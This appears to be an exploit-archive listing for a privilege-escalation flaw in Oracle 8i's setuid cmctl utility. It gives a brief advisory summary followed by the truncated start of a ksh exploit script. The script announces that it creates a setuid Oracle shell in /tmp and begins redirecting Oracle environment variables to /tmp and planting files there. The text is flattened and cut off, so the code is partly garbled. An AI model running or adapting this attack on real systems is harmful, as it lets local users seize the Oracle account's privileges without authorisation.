Oracle 8.x - cmctl Buffer Overflow

/ source: https://www.securityfocus.com/bid/1968/info cmctl is the Connection Control Manager, part of the Oracle 8i installation. A vulnerability exists that can allow elevation of privileges. The problem occurs in the way cmctl handles the user-supplied command line arguments. The string...

cmctl_exp

! /usr/bin/ksh cmctl is installed setuid to Oracle by default. See BugTraq ID 170 and Oracle bug id 701297 and 714293. This script will create a setuid Oracle shell, /tmp/.sh redirect environment variables export ORACLEHOME=/tmp export ORAHOME=/tmp mkdir /tmp/bin chmod a+rx /tmp/bin create cmadmi...